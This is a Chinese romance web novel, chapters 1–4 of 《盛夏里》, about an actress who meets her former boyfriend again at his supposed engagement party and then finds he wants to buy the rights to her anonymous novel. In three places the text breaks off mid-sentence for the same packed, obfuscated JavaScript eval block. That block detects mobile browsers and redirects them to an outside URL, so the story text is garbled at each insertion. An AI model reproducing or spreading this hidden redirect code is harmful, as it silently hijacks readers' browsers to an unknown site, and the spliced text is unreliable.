《盛夏里》 1. 第 1 章 【枝枝，他昨天回国了。】 【枝枝，他要订婚了，就在明天。】 看着手机里好友发来的消息，厉枝只觉得自己的心好似停滞了一下。 他，回国了，而且回国第一件事，是要订婚？ 他要订婚了？ 电视里放着的综艺依旧是一片欢声笑语，但此时听着，却沦为了背景杂音。 厉枝不知道自己是哪来的力气，僵硬着身子从沙发上爬起，搜刮出冰箱里剩下的酒。 红的、啤的、还有五颜六色的鸡尾酒…… 敞开的窗照进无尽夜色，瓶子倒了一地，人也不知何时倒下…… - 第二天一早，厉枝是被敲门声吵醒的。 忍着头疼，厉枝开门。 一个文件快递，里面是一张写着两个名字的请柬，后面是“诚邀参加宴会”的字样，最后跟着宴会的时间和地点。 上面的名字，过于眼熟。 他竟然也给她寄请柬了？ 一股莫名上不去也下不来的气堵在心口，胀得发酸、发痛。 死死攥着那个请柬，厉枝深深呼了一口气。 正巧这时，经纪人打电话来，问她到底要不要参加那档炙手可热的恋爱综艺。 作为新晋小花，且非科班出身，厉枝能有机会在群狼环伺的娱乐圈分到这块饼已是难得，而她却不同于别人那般一口答应，只说再考虑考虑。 现在，是最后的期限，过期不候。 “我参加。” 原本清冽如山间清泉般的嗓音此时有些哑，说完就挂了电话。 黛眉是厉枝自己都不曾察觉的蹙起，那棕黑色的眼眸里，似是有什么在无声拉扯、对撞。 —— —— 当天，宴会厅，满是喜庆氛围。 主角正是站在舞台中央的那两个人，男人身长如玉，女人亭亭玉立，任谁看了都觉得是一对璧人。 今天的女主角是林曼，在请柬上看到这个名字时，厉枝竟然有种毫不意外的感觉。 两家的母亲早就相识相熟，所以他们俩算是门当户对的青梅竹马，林曼也是他母亲多年前就盼着的、满意的儿媳妇。 厉枝一身低调打扮，坐在一个角落的位置。 宴会已经开始，桌上山珍海味，厉枝却毫无食欲，任由胃隐隐作痛，还破罐破摔般喝着酒。 昨天的宿醉还没完全清醒，又是一副要把自己灌醉的架势。 自虐般。 将杯中的最后一口酒一饮而尽后，厉枝视线落在那个背影上，静静凝视了三秒，然后起身，打算离开。 这个句号，她终于要画上了。 - “诶，你是厉枝姐姐吗？我可喜欢你的剧了！” 不曾想，刚一起身，却被人给认了出来，是一个小女孩，约莫初中生的年纪。 大概是偶遇自己喜欢的明星所以有些兴奋，小女孩的声音有些大，虽然不至于盖过整个宴会的嘈杂，但厉枝还是心虚地下意识朝刚刚看的方向看去。 大概是怕什么来什么，厉枝眼看着那个台上的男人转过身来、看向这边！ 是听到了吗？ 厉枝顿时慌了，赶紧向小女孩说她认错人了。 她出门前特地化了妆，竭力掩盖自己原本的容貌特征。 “啊是吗？不好意啊啊小姐姐。” 余光里，那个身影越走越近，厉枝恨不得自己能化身地鼠，赶紧钻进某个洞里。 落荒而逃。 她没想到，最后的道别会这么兵荒马乱。 等到出了会场，大概是酒精上头，风一吹，本就不清醒的脑子更是一团浆糊，头也难受，胃也难受，但更难受的，是心。 “枝枝，怎么喝这么多？” 在厉枝快要走不直的时候，一个男人出现，稳稳扶住了她。 “哥？”厉枝还有几分强撑的清醒，她知道自己得赶紧回去。 此时见到熟人，紧绷的精神顿时松懈了下来。 “Yue——” 一阵强烈的反胃后，厉枝直接吐了出来，整个人像是一滩烂泥一样，要不是有周墨桓扶着，怕是早就到地上去了。 —— 宴会厅。 在最热闹的时候，陆之野却突然离开，众人不解。 “你赢了，竟然真让你给诈来了，本小姐愿赌服输，给你收拾烂摊子。” 林曼说完，轻啧了一声。 看着去追厉枝的陆之野，身影很快消失不见。 这家伙连话都不听她说完。 说不上是气还是羡慕，或者都有。 第无数次看了眼宴会厅的门口，她所一直期待的那个身影，却始终没有出现。 “感谢大家参加我们林陆两家友好建交30周年，恰逢陆总回国，今天我们俩呢就在这个大喜的日子宴请四方好友，热闹热闹~” 顿时，台下一片哗然。 “这不是订婚宴吗？”有人质疑道。 脸色最难看的，要数双方家长，其中陆之野的母亲最甚。 “谁说了这是订婚宴？”林曼理直气壮。 “请柬……” “请柬上可只说诚邀参加宴会，我们俩的名字只是作为共同邀请人写在上面。”林曼抢答。 热闹变成混乱，林曼顶着四面八方的压力继续强词夺理。 虽然说双方家长都有意促成这婚事，但，他们是不可能的。 今天这一出，也不过是一拍即合的作秀。 —— —— 厉枝难受得很，吐着吐着眼泪都出来了，止都止不住。 周墨桓本是有洁癖的，此时衣服脏了却丝毫没法发作，只得赶紧半抱半拖带着人离开。 正要把厉枝送入车后座，突然，身后传来一道声音。 “放开她。” 下一秒，厉枝被那个半路杀出的男人拽了过去。 两个一米八几的男人顿时如两军对峙般，谁也不肯放手，厉枝就这么被左右拉着。 “Yue——” 厉枝又要吐的当口，周墨桓才刚稍稍下意识避开半步，厉枝整个人就被抢了过去。 对于被弄脏衣服，陆之野毫不在意。 微微侧头看着周墨桓，像是赢家那般，眼眸里有着狼的倨傲，紧紧护着自己怀里的人。 似乎是条件反射又或许是肌肉记忆，给厉枝拍后背的动作格外熟练。 周墨桓无语皱眉，推了推银框眼镜，直视陆之野。 他知道陆之野是谁，他正是不放心厉枝一个人来这，所以才跟了过来。 “这是我妹妹，我带她回家。”周墨桓一字一句。 陆之野眼神有一瞬间的愣怔，显然是才知道二人的兄妹关系。 这几年在国外，他或多或少知道一些厉枝的事情，都是别人顺口提及的，但每次却都是刚听个开头就戛然而止，说话的人悻悻住嘴，以为说错了话，在他面前提了不该提的人。 毕竟众所周知，陆之野是被甩的那个。 自然，他也从不会主动问起关于厉枝的事。 厉枝的母亲之前再婚过的事，他是知道的，对于有个没血缘关系的哥哥，他也知道，只是刚刚才对上号。 他还以为…… 心里好像松了一口气，但也只是片刻闪过的感觉，连他自己都未察觉时就转瞬即逝。 也是，和他分开后，就算是再怎么退而求其次，也不至于眼瞎到找这样的男人吧，那退半步的动作他可是看得清清楚楚。 “你一股消毒水味，而且她晕车，还是我带她去楼上休息一晚吧。” 宴会厅所在的大楼，楼上就是酒店。 周墨桓：“……” 他确实是刚结束完一个手术，从医院赶过来的，厉枝确实也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14829897|158915||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不喜欢消毒水的味道。 眼见陆之野就要把人带走，周墨桓拦在面前，镜片后的眼神严肃又带着审视。 “放心，我还没禽兽到趁人之危，而且还是前女友。”陆之野淡淡道。 “前女友”这几个字有几分咬牙切齿的嘲讽，说完，陆之野直接将人打横抱起，迈着大步朝楼上走去。 周墨桓本想阻止，最后还是收回了手。 解铃还须系铃人。 —— —— 再次睁开眼睛的时候，厉枝又吐了。 好像把酒吐了，意识就更清醒了些。 但当她睁眼就看到陆之野那张熟悉的脸时，她觉得自己大概是还在梦里。 相比几年前，现在的陆之野多了几分成熟的气质。 还是和以前一样的眉眼，那双桃花眼始终如一汪让人溺毙的泉水，不敢多看，鼻梁挺拔，鼻尖上熟悉的一颗小痣，点亮了他的不羁和散漫，还有那人人都说长得薄情的唇。 好像什么都没变，又好像什么都变了。 “醒了？” 男人侧头，声音淡淡，听不出什么情绪。 四目相对，近在咫尺。 他正抱着她。 臂膀坚实，胸膛宽厚，稳稳抱着她往前走，毫不费力。 “滴——” 是房卡开门的声音。 厉枝还是愣愣的，就这么任由陆之野将她抱了进去，然后，放在了洗手台前，好像很熟练那般，给她清理脏污。 “啊，张嘴，漱口。” 厉枝照做。 见厉枝一直呆呆地任由他摆弄，眼神带着几分迷蒙，但那双琥珀色的眸子却一直落在他脸上，陆之野一直冷着的脸有些绷不住了。 “你一直看我做什么？” 就好像看傻了一样，眼睛还一眨不眨，怪吓人的。 厉枝只是说了句“没什么”，但还是不眨眼，只是视线微微往旁边挪了挪。 “干净浴袍在那，你自己换上休息，我走了。” 陆之野飞速给厉枝洗漱妥当后，正要离开，但左手却被抓住。 只见厉枝紧紧握着他的左手，还是刚刚那副呆呆的样子，但不知何时开始，眼眶好像红红的。 又是这样一副让人无法抗拒的模样，和以前一样，像只小白兔，楚楚可怜。 饶是如此，陆之野还是决定离开。 但下一秒，他呼吸一滞，喉结不自觉上下滚动了下—— 他左手虎口上的那根静脉血管，此时正被厉枝不轻不重地按着，像是按住了什么命脉或是暂停键，陆之野停在了原地。 与大部分人不一样，陆之野左手的虎口处有一个静脉血管经过，很是明显，是能清楚看见血管在皮肤下舒张收缩动静的那般明显。 他还记得，厉枝以前最喜欢握着他的左手，轻轻按着那，感受他的心跳。 血管的脉动与心脏的跳动是一致的，此时，那血管脉动的速度比往常快些。 “我难受……” 厉枝的话闷闷的，好像还带着哭腔，只见她捂着自己的肚子就蹲了下去。 但牵着陆之野的手始终没有松开，一直紧紧握着，就好像松开，梦就醒了。 “胃不好还喝这么多酒，真是……” 陆之野无奈，单手掏出手机，吩咐人送些食物和干净衣服来。 刚挂断，正要蹲下查看下厉枝的情况，却直接被厉枝猝不及防拉倒在地。 一瞬间，天旋地转。 后背贴着的，是浴室冰冷的地板，地上的水瞬间洇湿了他的衣服，而身前，是一具柔软而滚烫的身体。 他的脸上几乎都能感受到来自厉枝的炽热呼吸。 近在眼前。 只见厉枝的唇色有些苍白，但双颊却是通红。 她的手正撑在他耳边，十指交叉地摁着他的手。 “陆之野……” 2. 第 2 章 她轻声唤他的名字，声音中带着无限缱绻，微皱的眉头却又好似含有无限的悲伤…… “我们已经道过别了，下次不要再见了。” 不要再到我的梦里来了。 话落的同时，陆之野只感觉有一滴滚烫落在了他的脸颊，然后一瞬间滑落，这感觉稍纵即逝，却好似灼伤了他那早已自我冻结的心，心脏狠狠抽了一下。 下一刻，厉枝再也支不住自己的身体，倒在陆之野身上，昏睡了过去。 时间就这么静止了似的，一分钟、五分钟，没有人动弹，直到房间门口的敲门声响起，才打破这静止的画面。 陆之野无奈叹息。 几年没见，还是这么无情呢。 —— —— 第二天。 厉枝觉得自己浑身难受，脑子也还有些晕晕乎乎的。 艰难睁开眼，发现是陌生的天花板，顿时警觉了起来。 她这是……在酒店？她昨天不是去参加陆之野的订婚宴了吗？然后……然后碰到了她哥，再然后就睡着了？好像还梦到了陆之野。 可是哥怎么没送她回家呢？ 检查了下没什么异常，厉枝放下心来。 想到梦里的身影，那张近在咫尺的脸，那么近，却又那么远。 下一秒，是门开的声音，看到来人时，厉枝瞪大了眼。 “陆之野？？” 他怎么会出现在这？ 脑子里走马观花一样放出些残存的破碎的画面，厉枝才反应过来，原来不是周墨桓带她来的，而是陆之野！ 那人却没半分要回应的意思，手里端着一个餐盘，放在一边，然后径直朝厉枝走来。 见状，厉枝下意识往后缩，但床就这么大点地方，躲无可躲，陆之野长臂一伸，手就牢牢贴在了厉枝的额头上。 发烧了还喝了那么多酒，吃不了退烧药，一晚上都只能靠物理降温。 换了一晚上毛巾、几乎没怎么睡的某人，眼底的青黛有几分明显。 “退烧了。”男人淡淡道，却是也暗暗松了口气。 厉枝靠在枕头上，整个人丝毫不敢动弹，几乎被陆之野笼罩住。 “你……”厉枝气势弱了下来，此情此景，她不知道该说些什么。 明明都已经过去几年了，明明她也见过无数大场面了，但不知道为什么，在陆之野面前，她还是像几年前刚认识陆之野时的自己那样，憋不出半句话来。 “我怎么？”陆之野放下手，退到一旁的沙发上坐下，眼神带着几分戏谑，紧紧盯着厉枝。 “请你自重，你已经订婚了。” 昨晚陆之野本就不该把醉酒的她带来这，现在在她已经清醒的情况下，这般亲密的举动更是不该。 但他却始终是一副无所谓的模样，让人捉摸不透。 被子下，厉枝的手紧紧攥住，好像这样就能给自己一些力量似的。 她的眼神也直直望向陆之野，没有半分退缩，显示出她态度的坚定。 “可是，我昨天跟着你跑出来，宴会不了了之，还为了避免某个酒鬼出事，我可是照顾了一晚上，你是不是该补偿些什么？嗯？” 陆之野的声音极富磁性，此时他坐在沙发上的姿势虽散漫，但语气却不容置喙。 “一晚上”这三个字咬得极重，又溢满了暧昧，显然是刻意强调，但又显然不是为了凸显他劳苦功高，尾音的“嗯”却又勾得人心里发麻。 “你开条件，我能做到的一定做到。” 厉枝眼神闪避，与陆之野的对视，她终究是败下阵来。 其实她很想问，为什么要跟着她出来，为什么要照顾她，但是她在掌心被指甲扎得疼痛的同时，却也极度清醒。 别问，问就是自作多情，他已经订婚了。 从始至终，还放不下的只有她自己罢了。 “不如，就赔我一个未婚妻吧，这不是一个现成的吗。” 手上的劲忽地一松，厉枝愣住了。 他这是什么意思？ 趁着厉枝发愣的当口，陆之野已经倾身向前，近在咫尺，压迫感极强。 “厉小姐该不会还对我陆某人余情未了吧？”陆之野嘴角带笑，但却并无半分笑意，“不然，是来这蹭饭？” 看着陆之野鼻头上那精致又添了几分妖艳的小痣，厉枝微微垂眸，竭力压下胸腔中的一股郁结之气，再抬眸时，冷清如万丈冰雪。 “记得以前我们做过的一篇阅读理解吗，唐三草说——兔子不吃窝边草，好马不吃回头草，天涯何处无芳草。” “我一直觉得这句话特别有道理，印象很深。” 说完，厉枝将枕头砸在陆之野面前，冷着一张脸，没有丝毫表情，看不出喜怒，起身三两下就在浴室换好衣服，径直离开，好似片刻都不愿意多呆。 只有厉枝自己知道，这是被戳破心底秘密后恼羞成怒的竭力掩饰。 她最会掩饰。 当演员之前就是如此，总是能将自己不愿被人看见的情绪强压下来，以冷淡来掩饰和保护自己。 当时如此，现在还是如此。 正要走出门，手腕被一把拉住，厉枝想甩开，但被拽得太紧，没能成功。 “松手。” 厉枝没有回头，死死咬住自己的下唇。 “陆之野，你凭什么认为所有人都在往前走，就我一个人留在原地？你凭什么认为我对你余情未了。” “呵，不过是忙于事业且没有遇见合适的罢了。” “哦对了，我马上要参加一档恋综了，说不定，下次轮到我给你发订婚请柬了。” 除了掩饰真实情绪，厉枝还有一件很擅长的事—— 哪怕割伤自己，也能流着血说出带刀的话，伤人伤己。 感受到被握着的手松了些力道，厉枝立马趁机甩开，头也不回地走了。 再不走，她真的绷不下去了…… - 房门口，陆之野缓缓关上了门，没有任何表情，静静走到桌前，自己一个人吃起早餐，背影莫名带着几分寂寥的滋味。 他一大早起来，不知道怎么就开车到了以前学校门口的早餐店，等点完才发现点的都是她以前最爱吃的，奶黄包和甜豆浆。 可是，怎么吃起来，一点甜味都没有呢…… —— —— 厉枝刚回到家，回复了周墨桓的消息报了平安，就立即把自己关在房间里。 说出那些话后，厉枝就后悔了。 完完全全是不理智的虚张声势，胡言乱语。 连带着，后悔起昨晚答应经纪人参加恋综，后悔去参加陆之野的订婚宴。 更遥远的后悔，大概就是当时因为种种原因，她没能一直抓住陆之野的手。 但她从没有后悔过遇见陆之野，他是惊艳了她整个青春的人。 随手拿起床头柜的一本书，这是一本从校服到婚纱、有着童话般美好结局的小甜文。 这书，是她写的。 以她和陆之野为原型，经过无数的艺术加工和浪漫想象，才将一个BE变成了HE。 这本书销量很好，在言情小说圈算是数得上号的一个作品，令无数读者惊叹的是，这竟是作者的处女作，一本封神。 更令人好奇的是，作者“之之”从未有过任何公开露面或是社交平台的互动，完全蒙着一层神秘的面纱，读者问是否故事有原型，也从来没有回复。 厉枝随手翻阅着书，眼眶不知什么时候红了。 她用了将近六年的时间，用了整整一本书，来向那段青春道别，向曾经的自己、曾经的陆之野道别。 她该更加干脆些的。 所谓青春，或许是遗憾的另一种说法。 轻轻摸了下眼尾，带走一片湿润，厉枝将书放在了床头柜的最深处，不见天日，被其他杂物所掩盖，然后紧紧关上。 就好像这样物理意义上的关上与掩埋，能等同于将曾经的感情与回忆也同样埋葬。 谁又能知道有没有用呢。 手机铃声响起，打断了厉枝的出神。 不知是不是磁场相吸，又或是什么墨菲定律，来电的正是出版社编辑。 “厉枝啊，还是上次说的事， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14829898|158915||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看上你书的那人真的挺执着的，还是坚持想要买版权，已经联系我们好几次了，要不……你亲自去聊聊？我是觉得挺好一机会的，谈谈也不打紧嘛。” 编辑何燕也是左右为难，一边是厉枝说不可能卖版权，但另一边的老板给的实在是太多了，多得完全超出市场价位。 她也觉得那位大老板大概是人傻钱多，这样的成本就算是后续开发影视IP什么的也难回本，只能说大佬的世界她不懂，她就是一个传话的工具人罢了。 电话这边沉默了半晌。 “你说你卖本书的版权大几百万，都直接相当于一部戏的片酬了，签个字就能赚的钱何必辛辛苦苦每天拍戏呢你说是吧。” “好，我去见见。” “所以你要不再考虑考…诶？这就答应了？”何燕惊讶了，刚刚还没说出口的劝词通通做废。 “那时间地点我发你，就在今晚，需要我陪你一起去吗？” “不用了，我自己可以。” 反正也只是去拒绝那个想买版权的人，何必劳烦何燕白跑一趟呢。 “好的，那你注意安全哈，有事打我电话，”何燕顿了顿，“厉枝，虽然我作为出版社方是想要你答应的，但我们认识这么久，作为朋友，我希望你还是可以遵从自己的心。” 当时这本书只是厉枝在一个小网站注册了作者号零零散散随便写的，也没签约，更新什么的都非常随缘，后来无意间被她发现，便开始了追更，直到完结。 那时她刚在出版社升职，做的第一件事就是联系厉枝，想要签下这本书的出版。 只因这个故事太过打动人心。 认识厉枝后，出于编辑的直觉，她知道那本书是多少有些原型在里面的，但她看破不说破，只是默默为厉枝杜绝了一些她不愿做的事，例如公开身份。 她总觉得，要是有一天厉枝答应卖版权了，大概就是终于放下的那天。 “嗯，谢谢你何燕姐。” —— —— 晚上，海城公馆的高级餐厅。 “小姐这边请。” 厉枝戴着口罩，一路走到了一个包厢的门口。 门是开着的，里面没人，但有一个用过的茶杯，像是那人刚刚离开。 “小姐请稍等片刻，那位先生有事在露台接电话，应该会很快回来。” 露台就是这包厢连接着的一个独立的阳台，此时门关着，大概是隔音很好，厉枝听不到外面说话的声音，只看到小半个人影，在花坛后面。 “好的谢谢。”厉枝坐下，等着。 包厢门关上，隔绝了外面的热闹，顿时安静了下来，由此，露台的声音便清晰了起来，隐隐约约能听到是一个比较年轻的男声，但被玻璃隔音后声音有些低，听不真切。 终于，在时间到达约定的分钟时，门推开了。 厉枝听见动静，扭头，眼神中的震惊完全掩饰不住，手下意识握紧。 坚持要买她小说版权的，竟然是他？ 与厉枝同样震惊的，还有陆之野。 他没想到，小说作者竟然会是厉枝…… 一时间，二人都没有开口，似乎有看不见的漩涡分别在二人心底风起云涌，表面却风平浪静，惊讶也似乎只是覆盖在混乱如风暴的情绪之上的一层纱。 大概是太过震惊，导致陆之野进门时原本要挂上的电话没能挂成功，手划歪了。 通话还在继续，电话里面传出一道声音。 “昨天的事情你必须要给所有人一个交代，今天再不回来，你就以后都别回来了，反正也没把我放在眼里！” 明明没开外放，厉枝也听清楚了电话那头的暴怒。 不是别人，正是陆之野的母亲。 这个声音，她不会认错的。 他母亲要的交代，显然是昨晚的事情，与她也有几分脱不开的干系。 “妈，我能给你的交代已经给过了，只不过不是你想要的罢了，”陆之野眼神仍旧不轻不重地落在厉枝身上，轻轻抬起手，朝手机说道，“我该给自己一个交代了。” 一个迟到多年的交代。 3. 第 3 章 说完，就挂了电话，随后，关机，一整套动作行云流水。 门，在陆之野的身后自动关上了，二人四目相对，屋里安静得只剩下彼此的呼吸声。 “你……喝点水吧。”陆之野坐在对面的座位，给厉枝倒了杯茶。 “谢谢。”厉枝接过。 又是相对无言。 陆之野今晚的打扮与昨晚不同，一身黑金条纹西装，配上一个金丝眼镜，颇有几分商业成功人士的气质。 早晨时那头黑发还是乖顺地随意披散着，看着让人有种回到曾经的错觉，和以前没什么两样。 但现在，已然是精心打理过的四六分，额头两侧有些许头发自然散落下来，很好的诠释了雅痞这个词。 “抱歉，我昨天不该去的。”厉枝沉声道。 陆之野没想到是厉枝先打开了话题，说起的却是昨晚的事。 他现在满脑子都还是《伴月》的作者是厉枝这件事，他还没消化完。 这本书，是他在国外时无意间在唐人街一家书店看到的，如书名一般，封面是蓝黑色调的夜空，中央是一轮弯月，和夜空中最亮的星——金星伴月。 星月交辉，形影相随，朦胧美好。 他只是凑近看了下封面上的文案，随手翻了下，再放下书时，已然天黑。 他竟不知不觉看完了整本。 这本书的作者叫“之之”。 虽然知道小说千千万，总有那种碰巧产生共鸣的概率，但当时也不知道哪来的冲动，便让人联系了出版社进行交涉。 却屡屡碰壁，但莫名不想放弃。 这次回国后，也是想着无论如何再亲自尝试一次。 却怎么也没想到，“之之”，竟然是枝枝。 也难怪会有那么强的共鸣，因为，故事前半段的男女主，正是他们俩啊。 只是从后半段开始，便成了不同的线，好似两个平行世界一般，结局南辕北辙。 他在想，厉枝写下这本书，到底意味着什么。 早晨食之无味的奶黄包，此时好像后知后觉又来了几分甜味的后调，只是不知是不是错觉。 只是，此时厉枝不咸不淡的一句抱歉，瞬间将陆之野拉回了现实。 她说抱歉，是觉得打搅了他的订婚宴？真的就毫不在意他要和别的女人订婚吗？ 呵，不愧是她，绝情的一如既往。 是他想多了，昨晚还天真地以为是他赢了，还有刚刚得知她是那书作者后，那百转千回的心神荡漾，此时也好像就是个笑话。 “没什么抱歉的，反正你知道，我本来也就不是个什么都听家长安排的乖孩子。” 不知出于什么心理，陆之野不想把订婚宴的真相告诉厉枝，反正说不说，结果好像都不会有什么改变。 话一出，又是沉默，在只有二人的空间内不断发酵。 他这一句话，许是无意，也或许是故意，厉枝有被微微刺痛到，同时也勾起了一些回忆。 确实，他从来都不是什么听话的人，但在那件事情上，他听了他母亲的话，而其中，还有些她的手笔和推波助澜。 相比不听话的陆之野，她就显得乖乖女多了，但其实，她从来都不想当一个乖乖女。 “吃饭吧，随便点了这家店几个招牌。” 说罢，陆之野按铃，服务员随即鱼贯而入，顿时香味扑鼻。 海城的口味偏甜，这家的菜便是本帮菜出名，桌上的糖醋里脊、酥鱼、红烧肉，看着就是很贵很精致、并且让人很有食欲的样子，还有那两个蔬菜亦然。 见厉枝好似兴致缺缺的样子，陆之野道：“这家店没什么辣菜，要吃的话以后……你自己吃去吧。” 明明几年未见，但有些东西却好像是刻在骨子里一样，就像人要吃饭喝水一样自然而然。 厉枝喝水的手顿了下，抬眸看着陆之野，眼神复杂。 他竟然还记得她爱吃辣。 她的母亲是南城人，那里偏爱吃辣，她从小也是无辣不欢，后来因为一些原因，才在升高中时转学到了海城，她父亲工作的地方。 她嗜辣如命，而陆之野，土生土长的海城人，向来吃不得辣。 想想也是神奇，两个这样饮食习惯截然不同的人，以前是怎么吃在一起的。 “没事，刚好吃清淡点，没什么食欲。” 其实是胃疼还没好，已经疼了一天了，都怪喝太多酒，加上没好好吃饭，来这之前还临时抱佛脚地吃了两片胃药。 又是安静的吃饭声音，碗筷的轻微碰撞声。 “那本小说……” 厉枝几乎没怎么动筷子，只吃了几口饭，便开始擦嘴了。 “是我本科时随便写写的，当时看了几部火的校园剧，便想自己也动笔试试，后面倒是没想到出版了。” “如有雷同，纯属巧合，可能确实有那么点是借用了现实生活的灵感来源，但，也仅此而已。” 厉枝已经擦好嘴，用过的纸巾轻放在桌面，像是一副吃好了要离席的模样。 “小说里的他们是他们，我们是我们。” 说完，厉枝站了起来。 “所以，相信陆先生应该知道了我今天的来意，这个版权，你没必要买，我也不打算卖。” “多谢款待，我就先走了。” 厉枝保持着表情的平静，竭尽全力从容迈步。 她知道自己说的都是违心的话，但她只能先下手为强，不然难道等待会儿陆之野质问《伴月》的事吗？要听他再一次说“你是不是对我余情未了”吗？ 不，她不想。 这样先下手为强，就是她掌握了主动权，掐断了所有可能，堵住了所有退路。 她从来不喜欢被动的感觉，那种感觉，太过没有安全感。 况且，她一个曾经甩了陆之野的人，怎么还好意思说“对，我就是对你余情未了”这样的话啊。 她说不出口。 仅仅是想到这事被人看出来、被人知道，尤其是陆之野这个当事人，要是被陆之野知道了她的心思，她会觉得那是极其羞耻的一件事。 任谁知道了，都该觉得，是她自己自作自受吧。 那便自作自受好了，让她一个人默默承受就好，不需要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14829899|158915||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 观众。 其实，她曾经对陆之野低头过一次，那时候她就告诉自己，绝对不会有第二次。 当时二人关系决裂，不久她便后悔了，但当她去找陆之野时，得到的却是决绝的眼神、看陌生人一般的眼神，她永生难忘。 经过陆之野身边的时候，原本坐着的男人突然站起身，巨大的压迫感袭来，直接将人抵在了门边的角落，动弹不得。 “枝枝，”陆之野的声音蛊惑，近在耳边，厉枝半边身子都顿时麻了，“别嘴硬了，承认吧。”承认你就是对我余情未了。 厉枝只来得看清陆之野嘴角的一抹弧度，随即便只见那薄唇迅速靠近，一抹柔软碰撞在了她的唇畔。 猛烈而炽热。 背后是他有力的臂弯圈着她的腰，以免她的身体滑落下去，更是将她紧紧圈在怀里，好像要抱进他身体里一般。 贝齿被撬开，来自男性的荷尔蒙横冲直撞，她步步败退，有些缺氧。 她知道自己该拒绝，该制止，但不知道为什么，她竟然也沉溺在这感官的愉悦之中，好似沾染上了某种毒，步步沉沦，无力抵抗。 是啊，陆之野不就是她戒了六年也没戒成的毒吗。 破罐破摔般的，厉枝也开始回应了起来，但却不得章法。 在她回应的一瞬，陆之野就感觉到了，只是轻微愣了下，便开始了更加猛烈的亲吻。 一吻毕，角落里两个人都有些喘。 衣服也凌乱了几分，暧昧的气氛不断蔓延。 两人望着彼此，眼底尽是暗流涌动，似乎只要有什么波动一下，火线就会再次点燃。 “陆之野，不就是被我甩了觉得不服，所以对我念念不忘吗？好，那我好心成全你一回。” 说罢，厉枝直接拉着陆之野的领带将人拽了过来，主动亲上了他。 陆之野就好似一点火星，倏然间点燃了她身体里的一团暗火。 现在这团火想要猛烈燃烧，就算将自己燃烧成灰烬也在所不惜。 她引以为傲的冷静自持碎了一地，取而代之的，是一种打破乖乖女刻板印象的快感。 此时，陆之野退开，一双大手一左一右地紧紧箍住了她的肩膀。 “厉枝，你最好冷静冷静。” 陆之野的声音很沉，脸色也说不上好看，似乎有几分怒意。 厉枝不懂他为何生气，难道这不就是他想要的吗。 果然，得不到的就是最好的，得到的便不会被珍惜。 “把剩下的吃完再走。” 说完，只见陆之野径直离开了包间，连西装外套都没顾得上带走，还有那本《伴月》。 厉枝觉得自己好像失去了全部了力气。 她知道自己刚刚冲动了，以前她总是被教导做事不要冲动，她便照做，但刚刚难得冲动一回，竟然有些顽皮又叛逆的愉悦。 她突然就笑了。 这下，那个画了几年的句号，终于是结结实实画好了吧。 拿起那本被遗留下的《伴月》，从第一页开始看起。 时间好似又回到了六年前的那个夏天…… 4. 第 4 章 “到了海城后好好学习，虽然我不在身边，但你每天晚上睡前要给我汇报当天的学习情况，尽快适应新环境，好好学习，知道了吗。” 机场，一个看着四十岁左右年纪的女人，一身剪裁得体的女士西装，利落的齐耳短发，干练又强势，将手里拉着的行李箱递到了一个女生面前。 只见那个女生接过，从鼻腔中淡淡“嗯”了一下，算是回应 这些话，厉枝这几天已经听过很多遍了。 要去海城读高中，她也是前几天才知道的，而这事，早在她小学那会儿父母离婚时，就已然定下。 那时候，父母因性格不合感情破裂而离婚，虽然她跟着母亲去了南城，但她的户口依旧是随她父亲留在了海城，这意味着，她必然是要在海城参加高考的。 她的母亲说，这是为她考虑，说在海城高考，更容易考上好大学。 她的人生，早已被她母亲安排好。 虽然也能理解，很多时候父母的安排出发点都是为孩子好，但有时候，厉枝觉得自己好像不是自己，只是她母亲操控的傀儡，按部就班地过活。 “时间差不多了，去吧，你爸会到机场接你。” 手里握着机票，另一手拉着行李箱，厉枝定定看着她的母亲林薇予。 要远离母亲了，她本该感到高兴的，毕竟终于是有了更多的自由空间，可是，这只是物理意义上的远离，仅此而已。 “好。” “才一个暑假，头发怎么又长长了，到了后记得剪剪，长头发打理多麻烦，耽误时间耽误学习。”厉母抚了几下厉枝的头发。 厉枝是蘑菇头，带刘海的那种，此时刘海已经微微盖过了眉毛，后面头发长度也不过刚刚到下巴的位置，她的发质很好，即便头发多，蘑菇头也不显得炸。 这些年，厉枝一直都是这个发型，一成不变。 刘海下，那双圆眼微微垂了垂，浓密的睫毛挡住她眼底的抗拒。 “好，开学前我会去剪的。” —— —— 飞机上，厉枝在想她那多年未见、只是电话联系的父亲，她几乎都有些忘了父亲是怎样的人。 印象中，相比母亲的强势，父亲就显得弱势又温和，是个老实人。 听母亲说，父亲后面也没有再婚，一直在海城一中高中部教书，十几年如一日。 父亲他，应该会对她好的吧…… 想着想着，厉枝就睡着了。 